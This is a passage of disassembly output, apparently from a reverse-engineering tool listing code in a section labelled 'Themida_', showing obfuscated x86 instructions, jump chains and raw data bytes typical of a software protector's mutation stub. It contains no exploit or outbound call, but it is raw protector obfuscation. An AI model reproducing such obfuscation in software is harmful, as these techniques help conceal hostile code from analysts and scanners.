ptr [esp] pop ecx add esp, 4 xor [esp], ecx xor ecx, [esp] jmp loc_59E907 ; --------------------------------------------------------------------------- loc_598A8E: ; CODE XREF: Themida_:00598E07j pop ebp jmp loc_592538 ; --------------------------------------------------------------------------- dd 3F39EE81h, 0EE011E84h, 57AEE9h, 82F28100h, 0E9044669h dd 49D7h, 5EE9C131h, 0BD000080h, 76DF5753h, 1C8BDD31h dd 4C48124h, 2D000000h, 610E0FFFh, 564AE9h, 0C4815A00h dd 4, 2474FF55h, 48F5D04h, 24248B24h, 8904EC83h, 8350241Ch dd 0C8904ECh, 499F6824h, 0F5E90000h, 89FFFF65h, 36E957E3h db 63h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_598AFF: ; CODE XREF: Themida_:00594BABj ; Themida_:0059810Ej ... mov ebx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp push ecx jmp loc_5970C7 ; --------------------------------------------------------------------------- loc_598B10: ; CODE XREF: Themida_:0058FD8Ej xor ebp, ebx mov ebx, [esp] add esp, 4 or ebp, 5C350567h sub ebp, 23C06D75h sub esp, 4 mov [esp], eax push edi jmp loc_59A5FC ; --------------------------------------------------------------------------- dd 0B8505B5Ah, 4DE03816h, 0E0381235h, 38E9564Dh, 29000059h dd 6A32E9E8h, 0E9F60000h, 0CCB60F66h, 8F9DE9h, 0E7895700h dd 4C781h, 0C7810000h, 4, 5C243C87h, 23FBE9h, 5DC18100h dd 93F0143h, 0C913E9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_598B7A: ; CODE XREF: Themida_:0059E229j push edx mov edx, 0E1A5B9F5h xor ebp, edx pop edx jmp loc_594B3F ; --------------------------------------------------------------------------- dword_598B88 dd 24048B66h, 9F1E953h, 4810000h, 0C1027224h, 8956E918h ; DATA XREF: Themida_:0058E244o dd 34FF0000h, 68555E24h, 44B4h, 0E9242489h, 7D79h, 5C242C87h dd 31241C33h, 1C33241Ch, 24248B24h, 240C8966h, 0C8B60F66h dd 0E99C5166h, 0FFFF5783h, 0BB53DA01h, 0 dd 388D301h, 0F1E95A5Bh, 5B00007Fh, 582434FFh, 0E904C483h dd 0FFFFAA34h, 5C24048Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] imul ecx, eax push ecx pushf jmp loc_58E353 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0FFA03CE9h, 3AC181FFh, 52504B01h, 757C0FBAh, 5E9424Dh db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_598C3F: ; CODE XREF: Themida_:0059C8F9j pop esi add ebx, eax pop eax xor ebx, [esp] jmp loc_5A0CB4 ; --------------------------------------------------------------------------- loc_598C4B: ; CODE XREF: Themida_:00597AEEj push dx jmp loc_5A32EA ; --------------------------------------------------------------------------- dw 0C201h dd 34F5EA81h, 0F4E90C0Fh, 0FFFFFF56h, 0E9042474h, 0FFFFD7F0h dd 8124048Bh, 4C4h, 0E9DAF700h, 338h ; --------------------------------------------------------------------------- loc_598C78: ; CODE XREF: Themida_:005943D0j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov ebp, esi pop esi add edi, 269A3E4Dh add edi, ebp sub edi, 269A3E4Dh mov ebp, [esp] add esp, 4 push 63AEh mov [esp], edx mov edx, 4724995h sub edx, 4724991h add edi, edx pop edx xor edi, [esp] jmp loc_58F2D8 ; --------------------------------------------------------------------------- db 0BFh dd 2, 335FF901h, 0BCE9240Ch, 2DFFFFF6h, 63D137Bh, 0E924148Bh dd 9B4Bh, 0E9240489h, 3830h, 83240C8Bh, 752D04C4h, 1124F10h dd 107505E8h, 15D124Fh, 3BA52F8h, 0C1195B73h, 0F5E904EAh dd 89FFFFE0h, 0E968240Ch, 0E954370Bh, 0FFFF6362h, 2474FF57h dd 48F5F04h, 4895C24h, 66685524h, 0FF5FCC07h, 835D2434h dd 0C4E904C4h, 8900006Bh, 4C581E5h, 81000000h, 4C5h, 242C8700h dd 5324248Bh, 0FF7CC1E9h, 815D58FFh, 4C5h, 79C4E900h, 0F201FFFFh dd 8324348Bh, 574204C4h, 0FC7161BFh, 5FFA31B9h, 65D8EB81h dd 0D329051Bh, 65D8C381h, 148B051Bh, 4C48324h, 0FFFFEB81h dd 0E3C1FFFFh, 4EC8305h, 1099E9h db 0 ; --------------------------------------------------------------------------- loc_598D91: ; CODE XREF: Themida_:005929F7j push eax mov eax, 0E4118AEh or eax, 45030CA3h xor eax, 5E7E351Ch add edi, eax pop eax mov esi, [esp] add esp, 4 retn ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF55A3h, 8107EEC1h, 0C06730F6h db 1 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_59B062 ; --------------------------------------------------------------------------- byte_598DD1 db 0FFh, 77h, 3Ch ; DATA XREF: Themida_:0058E26Co dd 98BD5550h, 55048B2Ch, 242C8B58h, 0FFF565E9h db 0FFh byte_598DE5 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058E1FCo dd 0E1895124h, 0FF9424E9h, 4EA83FFh, 49B9E9h db 0 ; --------------------------------------------------------------------------- loc_598DF9: ; CODE XREF: Themida_:005A094Dj sub ebp, 64D5377h sub ebp, 0F43D7C11h mov ebx, ebp jmp loc_598A8E ; --------------------------------------------------------------------------- dd 0E9241C89h, 0FFFF75A4h, 4B951h, 0E9570000h, 0FFFFA1D5h dd 1368F101h, 0E900000Ah, 0FFFFDA94h, 8804C483h, 24148BF1h dd 815F5457h, 4ECh, 241C8900h, 4BBh, 72F6E900h, 1B050000h dd 31BCE4E5h, 0D2F758C2h, 486FF281h, 8CE9C9AAh db 24h, 2 dup(0) byte_598E5F db 66h ; DATA XREF: Themida_:0058E1E0o dd 6824048Bh, 1D5Ch, 228AE9h db 0 ; --------------------------------------------------------------------------- loc_598E6D: ; CODE XREF: Themida_:0059F723j push edi mov edi, 4 add ecx, edi jmp loc_590CCD ; --------------------------------------------------------------------------- dw 814Fh dd 889F8AEFh, 5FFB0180h, 143A68h, 243C8900h, 0FFA40BE9h dd 242C33FFh, 33242C31h, 0AEE9242Ch, 0C1FFFFABh, 0E18103E1h dd 54E800FDh, 2DE6F181h, 0CD311490h, 4FF5559h, 0BEDDE924h db 2 dup(0FFh) word_598EBA dw 8B66h ; DATA XREF: Themida_:0058E274o dd 1068240Ch, 89000038h, 0E789243Ch, 4D4768h, 240C8900h dd 4B9h, 4EC8300h, 0FF894BE9h, 4C283FFh, 0E9241487h, 638Eh dd 52D8015Ah, 0C3186EBAh, 5DC28171h, 8108F963h, 0E04AAACAh dd 0EAF28168h, 29479A07h, 24148BD0h, 0E904C483h, 0FFFF8BACh dd 4C281h, 0C2830000h, 24148704h, 0C6FAE95Ch, 0FF56FFFFh dd 5E042474h, 524E9h, 3EEC000h, 28F2C680h, 64D9E9F4h, 34FF0000h dd 0C804E924h, 0C201FFFFh, 0E924048Bh, 3055h, 656D08BEh dd 68BA520Dh, 9052511h, 5FF2E9D6h, 3C8B0000h, 4C48124h dd 50000000h, 553EE9h, 24043300h, 8951525Ch, 4C181E1h dd 0E9000000h, 0FFFFB1F6h ; --------------------------------------------------------------------------- loc_598F80: ; CODE XREF: Themida_:0059D809j mov ah, ch mov ecx, [esp] add esp, 4 pop edx jmp loc_58ED19 ; --------------------------------------------------------------------------- db 2Dh, 0D3h, 2Ah dd 34E93005h, 83FFFFFDh, 1C8904ECh, 80A4B324h, 0E380C4F3h dd 0E9CBFE23h, 166Ch, 41BEC281h, 0E2C163F6h, 0CA814A08h dd 71157E51h, 7014EA81h, 0D7018D10h, 4D6FE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_598FCE: ; CODE XREF: Themida_:0059E7E3j add cl, 30h add bl, 0B1h sub bl, cl push edx jmp loc_58F222 ; --------------------------------------------------------------------------- dd 815FFE01h, 4EEh, 24348700h, 240C895Ch, 25D168h, 44DDE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_598FF6: ; CODE XREF: Themida_:005A32F9j sub cl, 6 pop bx jmp loc_594874 ; --------------------------------------------------------------------------- loc_599000: ; CODE XREF: Themida_:00597D20j push 522Dh mov [esp], ebx push ecx mov ecx, 38D16270h jmp loc_59F744 ; --------------------------------------------------------------------------- db 58h dd 6804C483h, 0B90h, 0E9241489h, 37EBh ; --------------------------------------------------------------------------- loc_599024: ; CODE XREF: Themida_:005A1C01j push ebp sub esp, 4 mov [esp], edx jmp loc_591F48 ; --------------------------------------------------------------------------- loc_599030: ; CODE XREF: Themida_:0059618Aj dec ecx push ebp push edi push 5A35129Dh jmp loc_58FEC9 ; --------------------------------------------------------------------------- db 0B0h, 6Ah, 0E9h dd 1EBAh, 4BB535Ah, 0E9000000h, 1D50h ; --------------------------------------------------------------------------- loc_599050: ; CODE XREF: Themida_:00591C8Fj push ecx push eax jmp loc_58EE52 ; --------------------------------------------------------------------------- loc_599057: ; CODE XREF: Themida_:00593DEEj add esp, 4 jmp loc_58EAF1 ; --------------------------------------------------------------------------- loc_599062: ; CODE XREF: Themida_:0059DA48j mov ebp, 5C360267h jmp loc_596197 ; --------------------------------------------------------------------------- dd 8904EC83h, 74FF2434h, 8F5E0424h, 8BE92404h, 5000002Dh dd 9060E3B8h, 58C60102h, 827BF681h, 0F1292989h, 3CC3815Eh dd 1420B46h, 3CEB81CBh, 0FF420B46h, 68E92434h, 81000043h dd 0CB0B56C1h, 9A55E9F3h, 8953FFFFh, 4BE56E3h, 0E9000000h dd 1175h, 0B8240489h, 4, 34FFC121h, 0E9505824h, 6396h dd 0C183C131h, 760968FFh, 4890000h, 94E95624h, 8BFFFFB1h dd 8953242Ch, 4C381E3h, 51000000h, 4B9h, 0E9CB0100h, 9BC3h dd 5E14E95Dh, 68FFFFh, 29000000h, 0C15A2414h, 0C28102EAh dd 109663A0h, 34FFD189h, 0C4815A24h, 4, 3726BD55h, 0ED81038Bh dd 0DCD6D6D3h, 0AFE9EB01h, 66FFFFE3h, 660241B8h, 5866C221h dd 96BD6655h, 0E956663Fh, 0FFFF73E3h, 332E68h, 240C8900h dd 0F6E9EDB1h, 81FFFFCBh, 0F010FFF3h, 43EB811Eh, 436FD634h dd 0DCB8C381h, 0DF312B02h, 93FBE95Bh, 0BC68FFFFh, 89000070h dd 21BF243Ch, 8133A82Dh, 7A23E2EFh, 9BF78147h, 0C10FAE44h dd 0CF8105EFh, 671458AFh, 5AEBF781h, 0BF57671Ch, 1F5E2594h dd 0E903E7C1h, 0FFFF701Dh, 8B2434FFh, 18E9240Ch db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5991B7: ; CODE XREF: Themida_:00594BECj mov esi, [esp] add esp, 4 or eax, eax jz loc_597D1E push dword ptr [edi+28h] push dword ptr [esp] pop eax jmp loc_5A1C21 ; --------------------------------------------------------------------------- db 51h, 0B9h, 89h dd 816A7A0Ch, 9E0325F1h, 65BE560Bh, 0E938DC2Fh, 0FFFFFE97h dd 2FE7EF81h, 0EAE945C8h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5991F3: ; CODE XREF: Themida_:0059BCBEj sub eax, 30E32310h pop ecx sub eax, 4 jmp loc_59956F ; --------------------------------------------------------------------------- db 0BBh dd 22D1D1Dh, 0E1E1F381h, 0DF3134FEh, 5FF8895Bh, 7FE950h dd 0E9500000h, 7F90h, 4C681h, 56E90000h db 78h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59922B: ; CODE XREF: Themida_:00590BFEj add esp, 4 push esi jmp loc_594072 ; --------------------------------------------------------------------------- db 81h dd 0AA18C0E6h, 4BC68174h, 0C14DEB42h, 0E6C102E6h, 24C68108h dd 2D49173Ah, 464911EBh, 0EB05F001h, 0E9464911h, 0FFFF69CDh dd 0F23C181h, 815F64D5h, 4C1h, 240C8700h, 24048F5Ch, 6824248Bh dd 3046h, 0E9240489h, 557Bh, 592434FFh, 4C481h, 0F5810000h dd 246A7EDAh, 926CE9h, 2414F700h, 0D2F79258h, 5338E992h dd 525B0000h, 261CC4BAh, 0FDC28129h, 2151804Bh, 0E7E95AD6h dd 0C100009Dh, 0E5C106EDh, 0E9D5F708h, 0BE0h, 3A1CDABFh dd 9DDDE906h, 248B0000h, 48B6624h, 7BB46824h, 3C890000h dd 758EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5992E6: ; CODE XREF: Themida_:005A2619j mov [esp], esp add dword ptr [esp], 4 pop ecx jmp loc_59DA2F ; --------------------------------------------------------------------------- dw 0E789h dd 4C781h, 0EF810000h, 4, 147D68h, 243C8900h, 42474FFh dd 5F2434FFh, 815D5455h, 4C5h, 4C58300h, 5035E9h, 0C1D7F700h dd 0DF3104EFh, 0CBE9FB31h, 0E9FFFF85h, 0FFFF501Bh ; --------------------------------------------------------------------------- loc_599338: ; CODE XREF: Themida_:00593BFDj pop esp add esp, 4 pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push 2EDEh mov [esp], ebx mov ebx, esp add ebx, 4 push edx jmp loc_58E55C ; --------------------------------------------------------------------------- db 5Ch dd 51241489h, 0CA88FEB1h, 8FF28059h, 805CEA80h, 88E9FAEAh dd 81FFFFD9h, 0AB00EAEFh, 24048B51h, 821AE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599386: ; CODE XREF: Themida_:00593890j shl dh, 6 push 3DF6h mov [esp], eax jmp loc_5A12F6 ; --------------------------------------------------------------------------- loc_599396: ; CODE XREF: Themida_:0059650Dj add eax, edi jmp loc_596FA5 ; --------------------------------------------------------------------------- loc_59939D: ; CODE XREF: Themida_:0059CC54j mov edx, [esp] add esp, 4 add ebx, 51CA0A01h sub esp, 4 mov [esp], edx jmp loc_591737 ; --------------------------------------------------------------------------- a_xhop db '_XhOp',0 align 2 dw 2C89h dd 600BE924h, 0EE81FFFFh, 53C001DDh, 5C1CBA52h, 0BE560FD5h dd 650276A8h, 0FCBFEE81h, 0C2813E0Ch, 0F1E09D8h, 0FFC36DE9h dd 7EAC1FFh, 6337CA81h, 0E2C14C21h, 8EAC104h, 0F7E9DAF7h dd 0B8FFFFADh, 4, 4244401h, 242C8B58h, 4C481h, 0EC810000h dd 4, 83243489h, 2C8904ECh, 5BCDE924h, 5350FFFFh, 277C30BBh dd 0B9CB8114h, 4B10AE21h, 8247C381h, 0D889EB50h, 0E92434FFh dd 0FFFFF4B0h, 331368h, 24348900h, 0FF7A23E9h, 24048FFFh dd 53BAE95Ch, 515A0000h, 1A3ABD55h, 5EE97D3Bh db 8Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_599467: ; CODE XREF: Themida_:005908DEj push ebx mov ebx, 0D0C5C96h add ecx, 5AB36698h sub ecx, ebx sub ecx, 5AB36698h pop ebx jmp loc_590B78 ; --------------------------------------------------------------------------- aXspp db 'Xép',0 dw 8900h dd 8B542414h, 95E92414h, 4DFFFFF0h, 428DE9h, 0F6815D00h dd 1BB171F8h, 0F835EE81h, 0F101CAC9h, 8691E95Eh, 0D9860000h dd 0D986D3F6h, 0FE06E1C0h, 0D8B8E9C9h, 0FA88FFFFh, 478E685Bh dd 1C890000h, 4EC8124h, 89000000h, 10E9240Ch, 29000003h dd 94E958C5h, 0FF00007Fh, 5E042474h, 5C24048Fh, 0E9E68956h dd 7D9Ah, 0F1E9CF01h, 2DFFFFFCh, 56254B41h, 481505Fh, 0AD635724h dd 0EA815A06h, 6AD6357h, 8124048Bh, 4C4h, 1C570900h, 8124148Bh dd 4ECh, 24048900h, 58E9E089h, 81000077h, 556077F6h, 240C8B29h dd 0F704C483h, 1AE957D6h, 54000042h, 53CAE9h db 0 ; --------------------------------------------------------------------------- loc_599545: ; CODE XREF: Themida_:00591D9Aj xchg ebp, [esp] pop esp sub al, 0D5h jmp loc_5923E2 ; --------------------------------------------------------------------------- dd 0ABFFE2BAh, 3438E927h db 2 dup(0) aMhw db '¬hw^',0 ; DATA XREF: Themida_:0058E160o align 10h dd 0B6241489h, 83DEF6B4h, 80E904ECh db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59956F: ; CODE XREF: Themida_:005991FEj xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ebx jmp loc_58FBA3 ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 0E9000000h, 0FFFFA472h, 0BA241489h, 4B9939EBh dd 6C7FBD55h, 0CD8115A2h, 7B364B40h, 2555E9h, 80EE8100h dd 129802Dh, 8B93E9C6h, 14870000h, 24248B24h, 90E930FFh db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5995C3: ; CODE XREF: Themida_:00591C1Aj push ebx jmp loc_591D23 ; --------------------------------------------------------------------------- db 0Fh, 0BEh, 0C8h dd 57E18951h, 913EE955h, 505AFFFFh, 580A44B8h, 74C6E944h dd 0F531FFFFh, 8DF2E9h, 0BD555600h, 89812CBh, 3CE9DDF7h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5995F7: ; CODE XREF: Themida_:0058E85Dj add al, 42h sub al, 8Fh jmp loc_59158B ; --------------------------------------------------------------------------- dd 59F6E781h, 0F7810EF6h, 5DC08EDFh, 62A8E9h, 0E9C12900h dd 2E40h, 0AE73C5BEh, 5EF20153h, 0D5F0F281h, 0F368ADF3h dd 89000066h, 0BB532414h, 76FE5D2Ch, 0FFB149E9h, 0E9D801FFh dd 0FFFFE7EBh, 24148B5Eh, 6B82E9h, 4D05E900h, 0D605FFFFh dd 5027BE3Fh, 74240481h, 5B0BFD6Eh, 196C68h, 242C8900h dd 0FD6E74BDh, 5DEB290Bh, 43D3F758h, 41ACE9h db 0 ; --------------------------------------------------------------------------- loc_599675: ; CODE XREF: Themida_:0059B43Fj mov edx, [esp] jmp loc_59F88A ; --------------------------------------------------------------------------- db 81h, 0E9h, 2Bh dd 89E91B61h, 542959CAh, 0ECE90424h, 0C1000060h, 814A07E2h dd 0B65F3EF2h, 7926E9A5h, 8950FFFFh, 0C8C7E9E0h db 2 dup(0FFh) word_5996A6 dw 0A8E9h ; DATA XREF: Themida_:0058E2C4o dd 80FFFF4Ch, 0B551C6C3h, 0C1EEE90Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5996B6: ; CODE XREF: Themida_:00596F22j add ebx, esi pop esi add ebx, edx sub ebx, 455704E6h jmp loc_58ED98 ; --------------------------------------------------------------------------- loc_5996C6: ; CODE XREF: Themida_:005A06C1j sub esp, 4 mov [esp], ecx push ebx jmp loc_59361A ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 24348155h, 73D84868h, 68F7815Fh, 8973D848h, 15D5FF8h dd 2434FFC1h, 653BE9h, 240C8900h, 0A215CFB9h, 587EE920h dd 0CA300000h, 7D7868h, 241C8900h, 0FFD830E9h, 0E9F289FFh dd 0FFFF7A01h, 68243C89h, 3458h, 0FFA1C9E9h, 0B1E942FFh db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59972B: ; CODE XREF: Themida_:005938C0j push ebx push ecx mov ecx, 0C7B5656h mov ebx, 6D8AC48Bh jmp loc_598A34 ; --------------------------------------------------------------------------- dd 8106EBC1h, 0A5FC6CC3h, 245C2933h, 3ED5E90Ch, 0D8300000h dd 5B2434FFh, 4C481h, 0B1510000h, 0C1B1518Bh, 0C980E9D0h dd 53D1F6AEh, 3EE9DFB7h, 0BE000064h, 4BFD1B17h, 3655CE81h dd 0BA521530h, 13466EE3h, 8105EAC1h, 7455B8E2h, 0FF97E972h dd 0D001FFFFh, 23F3BB53h, 0C3816881h, 0BBA819C0h, 3F6AE9h db 0 ; --------------------------------------------------------------------------- loc_5997A1: ; CODE XREF: Themida_:0059387Aj sub eax, ebp add eax, 597C635Eh push dword ptr [esp] pop ebp add esp, 4 push edi push ecx push 65253945h pop ecx xor ecx, 51362169h jmp loc_5A24E8 ; --------------------------------------------------------------------------- db 88h, 0FCh, 88h dd 0CCFE59CFh, 6602EC83h, 52240C89h, 0FFD533E9h, 2ABD55FFh dd 4D2C1C79h, 46E9D5F7h, 53FFFF4Fh, 0C2E9D388h db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5997EF: ; CODE XREF: Themida_:005A2C2Aj add esp, 4 push ecx push 7E58h mov [esp], edx push eax mov eax, 34877BEDh push ecx mov ecx, 40DA08B7h jmp loc_598197 ; --------------------------------------------------------------------------- dd 0B9240C89h, 4, 1009BD55h, 0EA295B83h, 81CA015Dh, 831009C2h dd 0C281595Bh, 4, 8B241487h, 0E9562424h, 0FFFF9FFDh, 0BC5EF81h dd 0EF8156ADh, 0AD910F9h, 26EF8158h, 81242135h, 0C03A3F7h dd 3629E96Eh, 348B0000h, 0EAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59985E: ; CODE XREF: Themida_:005949DCj push edi mov edi, 4 sub eax, edi pop edi xchg eax, [esp] pop esp jmp loc_59FF88 ; --------------------------------------------------------------------------- dd 24BAh, 0E0E95700h, 68000066h, 40000FA4h, 3B3BE9h, 70E98100h dd 5752094Dh, 72061EBFh, 0E9F9012Ah, 0FFFFFB1Fh, 800FB652h dd 0F0288BF6h, 2434FF5Ah, 4C4815Ah, 4000000h, 2CD828F4h dd 66522CF4h, 66467F68h, 0E9241C89h, 63ACh, 2474FF52h dd 24148B04h, 4C481h, 48F0000h, 0AC46E924h, 48FFFFFh, 4EC8124h dd 0E9000000h, 1A6Dh, 0ECE9D101h, 53FFFFE6h, 92E95B54h dd 5FFFFFEDh, 0EB81FB01h, 19644502h, 13FD685Fh, 2C890000h dd 68E3BD24h, 11E924C8h, 83000060h, 0A1E904C4h, 8FFFFFBAh dd 248B2404h, 0AF0F6624h, 7470E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_599926: ; CODE XREF: Themida_:0059306Aj mov ebx, 5BB3B926h sub ebx, esi pop esi jmp loc_59FFF6 ; --------------------------------------------------------------------------- db 57h dd 5BDE9h, 24048B00h, 4C481h, 0E9520000h, 78D6h, 0E9E38953h dd 0FFFF80C9h, 34E9C501h, 81000023h, 0C6B2FEEFh, 4EC8378h dd 89243489h, 0A17FE9FEh, 8B66FFFFh, 0C481240Ch, 2, 4EC180h dd 240C8BC8h, 6B8DE9h, 53E08900h, 1D1B36BBh, 62BE5634h dd 215C9702h, 4ACFE9F3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599996: ; CODE XREF: Themida_:0059D8F5j mov bh, 7Dh sub bh, 0CBh not bh sub bh, 2 and bh, 49h shr bh, 1 jmp loc_597B8D ; --------------------------------------------------------------------------- dw 0C05Bh dd 0CE8003E6h, 0F9B450F6h, 80FFC480h, 0B353ACE4h, 0E4C380B7h dd 505BDC30h, 0FF75A8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5999C9: ; CODE XREF: Themida_:0058E6E4j sub eax, edi jmp loc_5A0DAC ; --------------------------------------------------------------------------- loc_5999D0: ; CODE XREF: Themida_:0059A7E2j mov ebx, 58E5117Dh jmp loc_591507 ; --------------------------------------------------------------------------- dw 968h dd 0E943DE01h, 0FFFFB89Fh ; --------------------------------------------------------------------------- loc_5999E4: ; CODE XREF: Themida_:0058F981j add edx, 4 jmp loc_59BE8D ; --------------------------------------------------------------------------- db 1 dd 56C581CDh, 5241C049h, 0FF8CD1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5999FD: ; CODE XREF: Themida_:00591242j mov esi, 7879A9E7h mov ecx, esi jmp loc_5A1993 ; --------------------------------------------------------------------------- db 0BAh, 5Ah, 7Ch dd 0F281081Ch, 1C8E1401h, 16A5EA81h, 0EA812FA9h, 6BB263Bh dd 6EF2814Ah, 31D94E29h, 0DD015AD3h, 81241C8Bh, 4C4h, 4B85000h dd 1000000h, 2C8758C5h, 0BF575C24h, 3A886E2Eh, 279DE9h dd 24148900h, 0E9BBB753h, 1B9Fh dword_599A58 dd 0E924248Bh, 0FFFF48F3h, 525EC681h, 0EEC11775h, 0C6F68107h ; DATA XREF: Themida_:0058E280o dd 81049853h, 6B62D2F6h, 4FE7681Dh, 0C890000h, 0DE80B924h dd 0CE2918DAh, 592434FFh, 104C483h, 0EC835EF0h, 241C8904h dd 29F0BD55h, 0A1E92040h, 33FFFFB5h, 2C31242Ch, 0C099E924h dd 0E951FFFFh, 0FFFFCFFBh, 4C481h, 0C4830000h, 21F66804h dd 60E90000h, 83000000h, 0DC0804C4h, 1BF3E9h, 24048F00h dd 50C6E95Ch, 78E90000h, 81FFFF48h, 192849EAh, 4DBDE914h dd 0B4500000h, 0F6C4FE24h, 0A0EC80D4h, 804ECC80h, 0C480C2E4h dd 58E7286Ah, 6636EF80h, 5024148Bh, 0E9E089h, 5000000h dd 4, 205h, 24043300h, 33240431h, 0DE92404h, 89000077h dd 0E389241Ch, 4BA52h, 0D3010000h, 8124148Bh, 4C4h, 4BA5200h dd 29000000h, 1C875AD3h, 0E408E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599B4A: ; CODE XREF: Themida_:0059B8AAj mov [esp], edx mov edx, 4 push 62B6h mov [esp], ebx mov ebx, edx mov edi, ebx push dword ptr [esp] pop ebx push 5949h jmp loc_59110F ; --------------------------------------------------------------------------- dd 4C481h, 0DCE90000h db 47h, 2 dup(0FFh) byte_599B77 db 66h ; DATA XREF: Themida_:0058E1F8o dd 535057ADh, 33AEBB66h, 7151B866h, 5BD83166h, 60C32566h dd 449C3566h, 4E0C166h, 0B9665166h, 9660525h, 665966C8h dd 94D5E948h db 2 dup(0) ; --------------------------------------------------------------------------- loc_599BA6: ; CODE XREF: Themida_:0059EB3Aj pop ebx jmp loc_599BBE ; --------------------------------------------------------------------------- dd 80F9E95Ch, 22B9FFFFh, 53767C0Fh, 0A0A4E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599BBE: ; CODE XREF: Themida_:00599BA7j shl ebx, 2 sub esp, 4 mov [esp], edx mov edx, 74E43F9Ah jmp loc_5A12A7 ; --------------------------------------------------------------------------- db 87h, 0DDh, 50h dd 3154AB8h, 745E953h, 0F3290000h, 0C3814B5Eh, 0F38BFC6Eh dd 565BD809h, 0D404C8BEh, 37CE8124h, 0D14E3A47h, 0E6EE81E6h dd 1B5DA8Fh, 0C2895EF0h, 0E924048Bh, 0FFFF8E68h ; --------------------------------------------------------------------------- loc_599C0C: ; CODE XREF: Themida_:00590449j mov ecx, esp add ecx, 4 jmp loc_59A856 ; --------------------------------------------------------------------------- db 1, 0F0h, 0E9h dd 0B69h, 0D441C781h, 0F909EF7Fh, 83243C8Bh, 0BE5604C4h dd 89B1E211h, 895EF129h, 0DBF759CBh, 4527E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_599C42: ; CODE XREF: Themida_:005919D3j add ebp, edx push 5CF9h jmp loc_5983D3 ; --------------------------------------------------------------------------- dw 6852h dd 4, 5AD6015Ah, 686C68h, 241C8900h, 6E7B951h, 13E93A44h dd 0BDFFFF91h, 718A08B2h, 8104E5C1h, 0BB2188EDh, 347E95Dh dd 0C1580000h, 0CF8106EFh, 61286C83h, 0FFFFEF81h, 0F781FFFFh dd 613CFFDCh, 0FF612BE9h, 8E3C1FFh, 2604F381h, 0D989AE03h dd 59CF015Bh, 5C243C87h, 4DBEE9h, 2DED8100h, 17D97DDh dd 242C8BE8h, 4C481h, 0C3010000h, 0FFA85AE9h, 0BA5258FFh dd 1D744330h, 515DC781h, 0D7011AD1h, 26B9BA52h, 814A6BF6h dd 7A1D9AEAh, 0E94A4A60h, 0FFFFC0CAh, 4C481h, 0C3800000h dd 80D30091h, 8B6691EBh, 0C4832414h, 83C1E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599D06: ; CODE XREF: Themida_:0059A879j dec edi push edi jmp loc_5A25D0 ; --------------------------------------------------------------------------- db 50h, 54h, 8Bh dd 0C4812404h, 4, 405h, 4C08300h, 5C240487h, 4EC81h, 2C890000h dd 4EC8324h, 0E9240489h, 0FFFF6EFBh, 5C240C33h, 4AB0F66h dd 0CE99C24h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599D47: ; CODE XREF: Themida_:0059B30Ej push dword ptr [esp] pop edx add esp, 4 shr bl, 5 and bl, 14h jmp loc_58FCB1 ; --------------------------------------------------------------------------- db 5Ch, 81h, 0EAh dd 29C03E58h, 0E956C229h, 0FFFF6367h, 8B7EE94Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599D6E: ; CODE XREF: Themida_:0059B34Cj sub ecx, 83F7051h jmp loc_597077 ; --------------------------------------------------------------------------- loc_599D79: ; CODE XREF: Themida_:0059BA20j push ebx mov ebx, 526C7798h jmp loc_595310 ; --------------------------------------------------------------------------- loc_599D84: ; CODE XREF: Themida_:0058E898j push ebx push ecx jmp loc_59F528 ; --------------------------------------------------------------------------- loc_599D8B: ; CODE XREF: Themida_:00591D1Ej mov edx, 74DC3087h xchg eax, edx not eax xchg eax, edx inc edx shr edx, 4 xor edx, 8B23CF3h jmp loc_58E5A2 ; --------------------------------------------------------------------------- loc_599DA3: ; CODE XREF: Themida_:0059EAA4j mov eax, 64487C61h or eax, 73A93498h sub eax, 0FFFFFFFFh shr eax, 2 jmp loc_5933A0 ; --------------------------------------------------------------------------- loc_599DB8: ; CODE XREF: Themida_:0059743Bj neg ebx xor ebx, 0A443EFC0h sub ebx, edi push dword ptr [esp] mov edi, [esp] jmp loc_59D3DE ; --------------------------------------------------------------------------- db 0F7h, 0D0h, 35h dd 99C2BCEAh, 0FFF6FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_599DD9: ; CODE XREF: 